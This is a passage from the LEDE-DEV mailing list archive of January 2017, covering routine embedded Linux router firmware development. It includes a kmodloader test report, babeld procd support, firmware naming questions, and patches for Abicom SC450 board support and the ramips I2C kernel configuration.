>   kmodloader.c | 185 +++++++++++++++++++++++++++++++++++++++++++++++++----------
>   1 file changed, 154 insertions(+), 31 deletions(-)
>
applied it with minor patch 5 adjustments for ubox  (different version ? 
) and no more warning and some debugging on kmodloader (virtual machine 
tested)

[    8.141016] kmodloader: 2 modules could not be probed
[    8.141172] kmodloader: dependency not loaded sch56xx-common
[    8.141288] kmodloader: - sch5627 - 1
[    8.141380] kmodloader: - sch56xx-common - 0

I'm using it on x86_64:

free space

before:


  41409642 lede-snapshot-r2919-d1daf3f-x86-64-combined-squashfs.img
  24108138 lede-snapshot-r2919-d1daf3f-x86-64-rootfs-squashfs.img
    2659248 lede-snapshot-r2919-d1daf3f-x86-64-vmlinuz

root at lede:~# df
Filesystem           1K-blocks          Used        Available Use% 
Mounted on
/dev/root                      23552     23552 0 100% /rom
/dev/loop0                  236672     81100          140084  37% /overlay
overlayfs:/overlay      236672     81100          140084  37% /

after:

41411458 lede-snapshot-r2919-d1daf3f-x86-64-combined-squashfs.img
  24109954 lede-snapshot-r2919-d1daf3f-x86-64-rootfs-squashfs.img
    2659248 lede-snapshot-r2919-d1daf3f-x86-64-vmlinuz

root at lede:~# df

Filesystem           1K-blocks        Used       Available Use% Mounted on
/dev/root                      23552      23552         0 100% /rom
/dev/loop0                  236672     81100    140084      37% /overlay
overlayfs:/overlay      236672     81100    140084      37% /

Regards



From baptiste at bitsofnetworks.org  Thu Jan 12 13:01:52 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Thu, 12 Jan 2017 22:01:52 +0100
Subject: [LEDE-DEV] Babeld now has procd support on OpenWRT/LEDE
Message-ID: <20170112210152.GB32650@tuxmachine.polynome.dn42>

Hi,

Here is yet another OpenWRT-related change for babeld: I just merged procd
support for babeld [2], after more than two years of lingering [1].

The only user-visible changes should be:

- babeld now logs to the system log (visible with "logread") instead of a
  file in /var/log.  This is nice for embedded devices, where you don't
  want to write too much to the filesystem.  It is still possible to
  explicitly configure babeld to use a log file;

- babeld is now restarted automatically whenever it crashes;

- the usual procd niceties: calling "/etc/init.d/babeld reload" will
  restart babeld only if the configuration has changed.


Please test babeld 1.8.0-2 and report any resulting breakage.  I would
like this change (and the other compatibility change) to make it into the
upcoming LEDE release, which is due to happen quite soon.

Baptiste

[1] https://github.com/openwrt-routing/packages/pull/55
[2] https://github.com/openwrt-routing/packages/pull/250
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170112/f9e8bab8/attachment.sig>

From dave.taht at gmail.com  Thu Jan 12 13:19:36 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Thu, 12 Jan 2017 13:19:36 -0800
Subject: [LEDE-DEV] [Babel-users] Babeld now has procd support on
 OpenWRT/LEDE
In-Reply-To: <20170112210152.GB32650@tuxmachine.polynome.dn42>
References: <20170112210152.GB32650@tuxmachine.polynome.dn42>
Message-ID: <CAA93jw4T+wsSmUoqaqb6KNrZEAZNeojJw_wGoOTdExUj7nzRCQ@mail.gmail.com>

On Thu, Jan 12, 2017 at 1:01 PM, Baptiste Jonglez
<baptiste at bitsofnetworks.org> wrote:
> Hi,
>
> Here is yet another OpenWRT-related change for babeld: I just merged procd
> support for babeld [2], after more than two years of lingering [1].
>
> The only user-visible changes should be:
>
> - babeld now logs to the system log (visible with "logread") instead of a
>   file in /var/log.  This is nice for embedded devices, where you don't
>   want to write too much to the filesystem.  It is still possible to
>   explicitly configure babeld to use a log file;
>
> - babeld is now restarted automatically whenever it crashes;
>
> - the usual procd niceties: calling "/etc/init.d/babeld reload" will
>   restart babeld only if the configuration has changed.
>
>
> Please test babeld 1.8.0-2 and report any resulting breakage.  I would
> like this change (and the other compatibility change) to make it into the
> upcoming LEDE release, which is due to happen quite soon.

Groovy.

lede can dynamically insert/delete routes into tables from netifd
babeld can pull routes from "protos" but not tables.

I spoke with hedecker (? can't remember his email) about somehow
having a field to export routes into kernel protos in the lede network
file, he indicated he'd look at it in a few weeks.

(I wanted to get away from ever having to revise the conf file
dynamically, but it looks like not this release. Not having to restart
babeld as per the above is a nice improvement though and I'll get on
testing it this weekend. At the moment I'm going through some mild
hell with dhcpv6-pd on comcast and adding "sonic" fiber (with a HE
ipv6 tunnel. Will hopefully have 4 source specific gateways to play
with here)

In other other news the "rabeld" backport of the gentler route switch
change loses kernel routes on the vyatta (3.10 based) OS in the
edgerouter. :(. That said, haven't tested mainline babeld there yet.
It seems to work on debian.

For those fiddling with edgerouter's default 1.9.x OS, backports of
cake, iproute, and rabeld are presently here:
https://build.lochnair.net/

> Baptiste
>
> [1] https://github.com/openwrt-routing/packages/pull/55
> [2] https://github.com/openwrt-routing/packages/pull/250
>
> _______________________________________________
> Babel-users mailing list
> Babel-users at lists.alioth.debian.org
> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/babel-users



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From tmo26 at gmx.de  Thu Jan 12 13:36:56 2017
From: tmo26 at gmx.de (Thomas Endt)
Date: Thu, 12 Jan 2017 22:36:56 +0100
Subject: [LEDE-DEV] firmware file naming
Message-ID: <001b01d26d1c$002089d0$00619d70$@de>

Is this intentional?

1) country sometimes in the middle (il, cn), most times at the end (us, eu,
AU, NA, WW)
2) country NA vs. us (different name for same thing?)
3) country EU vs. eu (capitals or not?)
4) country north-america vs. NA vs. us
5) country other-regions vs. WW

If this is not intentional: Would it be a good idea, and be it only for
cleanliness sake and having a clear scheme, to commonize placement,
capitalization and naming of countries?



lede-ar71xx-generic-archer-c7-v2-il-squashfs-factory.bin
lede-ar71xx-generic-archer-c7-v2-il-squashfs-sysupgrade.bin 

lede-ar71xx-generic-archer-c7-v2-squashfs-factory-eu.bin 
lede-ar71xx-generic-archer-c7-v2-squashfs-factory-us.bin 
lede-ar71xx-generic-dir-601-b1-squashfs-factory-NA.bin 

lede-ar71xx-generic-tl-wr941nd-v6-cn-squashfs-factory.bin 
lede-ar71xx-generic-tl-wr941nd-v6-cn-squashfs-sysupgrade.bin 

lede-brcm47xx-mips74k-netgear-wgr614-v10_north-america-squashfs.chk 
lede-brcm47xx-mips74k-netgear-wgr614-v10_other-regions-squashfs.chk 

lede-brcm47xx-mips74k-netgear-wnr3500l-v1-north-america-squashfs.chk 
lede-brcm47xx-mips74k-netgear-wnr3500l-v1-other-regions-squashfs.chk 

lede-brcm63xx-generic-DSL274XB-F1-squashfs-cfe-AU.bin 
lede-brcm63xx-generic-DSL274XB-F1-squashfs-cfe-EU.bin 

lede-brcm63xx-smp-DSL274XB-F1-squashfs-cfe-AU.bin 
lede-brcm63xx-smp-DSL274XB-F1-squashfs-cfe-EU.bin 

lede-lantiq-xway-DGN3500-squashfs-factory-NA.bin 
lede-lantiq-xway-DGN3500-squashfs-factory-WW.bin 
lede-lantiq-xway-DGN3500-squashfs-sysupgrade-NA.bin 
lede-lantiq-xway-DGN3500-squashfs-sysupgrade-WW.bin 

lede-ramips-rt305x-whr-g300n-squashfs-factory-EU.bin 

lede-ramips-rt305x-wnce2001-squashfs-factory-NA.bin
-------------- next part --------------
A non-text attachment was scrubbed...
Name: winmail.dat
Type: application/ms-tnef
Size: 2385 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170112/bd292b87/attachment.bin>

From i at conorogorman.net  Thu Jan 12 14:25:38 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Thu, 12 Jan 2017 22:25:38 +0000
Subject: [LEDE-DEV] [PATCH] ar71xx: add Abicom SC450 support
Message-ID: <20170112222538.477-1-i@conorogorman.net>

Support Abicom International Scorpion SC450 Board

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB NAND Flash
16MB NOR Flash
10/100/1000 Ethernet
15W Max, 3x3 Mode, Full Power TX Power
802.3-at POE+ & DC Input options
100x 85mm
USB
PCIe
SFP
GPIO/LED

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 10 files changed, 181 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5be9d4a..898af5e 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -437,6 +437,9 @@ re450)
 	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
 	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
 	;;
+sc450)
+	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
+	;;
 smart-300)
 	ucidef_set_led_netdev "wan" "WAN" "nc-link:green:wan" "eth0"
 	ucidef_set_led_switch "lan1" "LAN1" "nc-link:green:lan1" "switch0" "0x04"
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index 36f2c43..695f0a1 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -44,6 +44,7 @@ get_status_led() {
 	mr12|\
 	mr16|\
 	nbg6616|\
+	sc450|\
 	tl-wpa8630)
 		status_led="$board:green:power"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index a8bdc67..a15aab9 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -884,6 +884,9 @@ ar71xx_board_detect() {
 	*SC300M)
 		name="sc300m"
 		;;
+	*SC450)
+		name="sc450"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 74808ef..690f5f2 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -227,6 +227,7 @@ platform_check_image() {
 	rocket-m|\
 	rw2458n|\
 	sc300m|\
+	sc450|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index daffdea..bdd2179 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -148,6 +148,7 @@ CONFIG_ATH79_MACH_R6100=y
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
 CONFIG_ATH79_MACH_SC300M=y
+CONFIG_ATH79_MACH_SC450=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index 56889d7..0fae915 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -9,6 +9,17 @@ config ATH79_MACH_SC300M
 	select ATH79_DEV_USB
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_SC450
+	bool "Abicom SC450 board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_ALFA_AP120C
 	bool "ALFA Network AP120C board support"
 	select ATH79_DEV_AP9X_PCI if PCI
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 915b34e..ae0e007 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -152,6 +152,7 @@ obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
 obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
+obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
new file mode 100644
index 0000000..9cd0815
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
@@ -0,0 +1,149 @@
+/*
+ * Abicom International Scorpion SC450 support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC450_GPIO_LED_POWER		13
+#define SC450_GPIO_LED_ERR1		14
+#define SC450_GPIO_LED_ERR2		15
+#define SC450_GPIO_LED_WLAN		16
+#define SC450_GPIO_BTN_RESET		17
+#define SC450_GPIO_WP			18
+#define SC450_GPIO_POE			19
+#define SC450_GPIO_RX_LOS		20
+#define SC450_GPIO_MOD_GND		21
+#define SC450_GPIO_MOD_SCL		22
+#define SC450_GPIO_MOD_SDA		23
+
+#define SC450_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC450_KEYS_DEBOUNCE_INTERVAL	(3 * SC450_KEYS_POLL_INTERVAL)
+
+#define SC450_MAC0_OFFSET		0
+#define SC450_MAC1_OFFSET		6
+#define SC450_WMAC_CALDATA_OFFSET	0x1000
+#define SC450_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc450_leds_gpio[] __initdata = {
+	{
+		.name		= "sc450:green:power",
+		.gpio		= SC450_GPIO_LED_POWER,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:power",
+		.gpio		= SC450_GPIO_LED_ERR1,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:green:wlan",
+		.gpio		= SC450_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:wlan",
+		.gpio		= SC450_GPIO_LED_ERR2,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc450_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC450_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC450_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc450_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc450_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc450_leds_gpio),
+				 sc450_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC450_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc450_gpio_keys),
+					sc450_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC450_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc450_mdio0_info,
+				    ARRAY_SIZE(sc450_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC450_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC450, "SC450", "Abicom SC450", sc450_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index b1e29f9..da9c160 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -169,6 +169,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
 	ATH79_MACH_SC300M,			/* Abicom SC300M */
+	ATH79_MACH_SC450,			/* Abicom SC450 */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index f8445b5..02b90b0 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -474,6 +474,16 @@ define Device/sc300m
 endef
 TARGET_DEVICES += sc300m
 
+define Device/sc450
+  DEVICE_TITLE := Abicom SC450
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC450
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc450
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From tmo26 at gmx.de  Thu Jan 12 15:10:33 2017
From: tmo26 at gmx.de (Thomas Endt)
Date: Fri, 13 Jan 2017 00:10:33 +0100
Subject: [LEDE-DEV] Branching LEDE 17.01 / problems with ath9k
In-Reply-To: <20170112093843.GA16828@medion.lan>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
 <1484077722.18918.3.camel@kitschensync.net>
 <9d921b96-a21b-5242-21ba-d86696e5801d@mein.io>
 <20170112093843.GA16828@medion.lan>
Message-ID: <000101d26d29$1430e0c0$3c92a240$@de>



> -----Urspr?ngliche Nachricht-----
> Von: Lede-dev [mailto:lede-dev-bounces at lists.infradead.org] Im Auftrag
> von Bastian Bittorf
> Gesendet: Donnerstag, 12. Januar 2017 10:39
> An: Jo-Philipp Wich
> Cc: lede at kitschensync.net; LEDE Development List
> Betreff: Re: [LEDE-DEV] Branching LEDE 17.01 / problems with ath9k
> 
> Thanks for these strong steps toward a release, the last weeks where
> full of commits and everybody seems to work very hard.
> 
> What i want to mention is, that older ath9k chips (ar91xx?) are not
> useable with LEDE anymore, e.g. TP-Link 1043nd v1
> 
> This needs more testing and reporting. Maybe someone has time to jump
> in. I have opened a ticket for that:
> https://bugs.lede-project.org/index.php?do=details&task_id=373
> 
> bye, bastian
> 
> BTW:
> the page https://lede-project.org changed again and 'reporting bugs'
> is hidden under 'Developer Guide' which is just...wrong Please make
> this more "friendly".

https://lede-project.org/contact contains a link to
https://bugs.lede-project.org/ since 11/11/2016.
IMHO the perfect place.

regards,

Thomas



From zajec5 at gmail.com  Thu Jan 12 15:19:29 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Fri, 13 Jan 2017 00:19:29 +0100
Subject: [LEDE-DEV] procd & custom reload support
Message-ID: <CACna6ryXpDYSD4zQZr2WK3-jbUm3HLDkg0kCT=DeYms3E+rPFA@mail.gmail.com>

Hi,

I've app that reads config from /etc/foo.conf and I use init.d script
to generate that file based on /etc/config/foo.

A nice feature my app has is runtime config reload triggered by
kill -SIGUSR1 $PID

I guess I need something like this:
start_service() {
        local port
        config_load "foo"
        config_get port basic port
        echo $port > /etc/foo.conf

        procd_open_instance
        procd_set_param command /sbin/foo
        procd_set_param file /etc/foo.conf
        procd_close_instance
}

Now, reloading... I know I could do:
reload_service {
        local pid="$(pgrep /sbin/foo)"
        kill -SIGUSR1 $pid
}

But this would be called on every
/etc/init.d/foo reload

What I'd like to achieve is procd monitoring /etc/foo.conf and calling
my custom reload function if there is a real need to reload service.

Is that possible with procd?

-- 
Rafa?


From rosenp at gmail.com  Thu Jan 12 19:05:00 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Thu, 12 Jan 2017 19:05:00 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add I2C driver to the default kernel
 config
Message-ID: <20170113030500.8362-1-rosenp@gmail.com>

I made a commit that added the RTC driver to the kernel config with
the intent that it would fix hctosys. Unfortunately while the RTC
driver is in there, it's connected through I2C, the driver for which
comes in module form and is thus loaded late. After this commit, it
works fine.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 target/linux/ramips/image/mt7621.mk   | 12 +++++-------
 target/linux/ramips/mt7621/config-4.4 |  2 ++
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/target/linux/ramips/image/mt7621.mk b/target/linux/ramips/image/mt7621.mk
index 6d9a727..fd28e19 100644
--- a/target/linux/ramips/image/mt7621.mk
+++ b/target/linux/ramips/image/mt7621.mk
@@ -30,7 +30,7 @@ define Device/11acnas
   DTS := 11ACNAS
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := WeVO 11AC NAS Router
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
 endef
 TARGET_DEVICES += 11acnas
 
@@ -83,7 +83,7 @@ define Device/newifi-d1
   DTS := Newifi-D1
   IMAGE_SIZE := $(ralink_default_fw_size_32M)
   DEVICE_TITLE := Newifi D1
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport
 endef
 TARGET_DEVICES += newifi-d1
 
@@ -91,8 +91,7 @@ define Device/pbr-m1
   DTS := PBR-M1
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := PBR-M1
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
-	kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
 endef
 TARGET_DEVICES += pbr-m1
 
@@ -157,7 +156,7 @@ define Device/w2914nsv2
   DTS := W2914NSV2
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := WeVO W2914NS v2
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
 endef
 TARGET_DEVICES += w2914nsv2
 
@@ -179,8 +178,7 @@ define Device/witi
   DTS := WITI
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := MQmaker WiTi
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
-	kmod-i2c-mt7621
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
 endef
 TARGET_DEVICES += witi
 
diff --git a/target/linux/ramips/mt7621/config-4.4 b/target/linux/ramips/mt7621/config-4.4
index 73c3b39..383370b 100644
--- a/target/linux/ramips/mt7621/config-4.4
+++ b/target/linux/ramips/mt7621/config-4.4
@@ -115,6 +115,8 @@ CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
 CONFIG_HIGHMEM=y
 CONFIG_HW_HAS_PCI=y
 CONFIG_HZ_PERIODIC=y
+CONFIG_I2C=y
+CONFIG_I2C_MT7621=y
 # CONFIG_IMG_MDC_DMA is not set
 CONFIG_INITRAMFS_SOURCE=""
 CONFIG_IRQCHIP=y
-- 
2.9.3



From daniel at makrotopia.org  Thu Jan 12 19:23:29 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Fri, 13 Jan 2017 04:23:29 +0100
Subject: [LEDE-DEV] [PATCH] ramips: Add I2C driver to the default kernel
 config
In-Reply-To: <20170113030500.8362-1-rosenp@gmail.com>
References: <20170113030500.8362-1-rosenp@gmail.com>
Message-ID: <20170113032328.GB2332@makrotopia.org>

Just a thought:
Isn't there a way to simply have a hotplug handler which calls
/sbin/hwclock instead of forcing RTC modules to be built-in?

Cheers

Daniel

On Thu, Jan 12, 2017 at 07:05:00PM -0800, Rosen Penev wrote:
> I made a commit that added the RTC driver to the kernel config with
> the intent that it would fix hctosys. Unfortunately while the RTC
> driver is in there, it's connected through I2C, the driver for which
> comes in module form and is thus loaded late. After this commit, it
> works fine.
> 
> Signed-off by: Rosen Penev <rosenp at gmail.com>
> ---
>  target/linux/ramips/image/mt7621.mk   | 12 +++++-------
>  target/linux/ramips/mt7621/config-4.4 |  2 ++
>  2 files changed, 7 insertions(+), 7 deletions(-)
> 
> diff --git a/target/linux/ramips/image/mt7621.mk b/target/linux/ramips/image/mt7621.mk
> index 6d9a727..fd28e19 100644
> --- a/target/linux/ramips/image/mt7621.mk
> +++ b/target/linux/ramips/image/mt7621.mk
> @@ -30,7 +30,7 @@ define Device/11acnas
>    DTS := 11ACNAS
>    IMAGE_SIZE := $(ralink_default_fw_size_16M)
>    DEVICE_TITLE := WeVO 11AC NAS Router
> -  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621 kmod-mt76
> +  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-mt76
>  endef
>  TARGET_DEVICES += 11acnas
>  
> @@ -83,7 +83,7 @@ define Device/newifi-d1
>    DTS := Newifi-D1
>    IMAGE_SIZE := $(ralink_default_fw_size_32M)
>    DEVICE_TITLE := Newifi D1
> -  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-i2c-mt7621
> +  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport
>  endef
>  TARGET_DEVICES += newifi-d1
>  
> @@ -91,8 +91,7 @@ define Device/pbr-m1
>    DTS := PBR-M1
>    IMAGE_SIZE := $(ralink_default_fw_size_16M)
>    DEVICE_TITLE := PBR-M1
> -  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci \
> -	kmod-i2c-mt7621
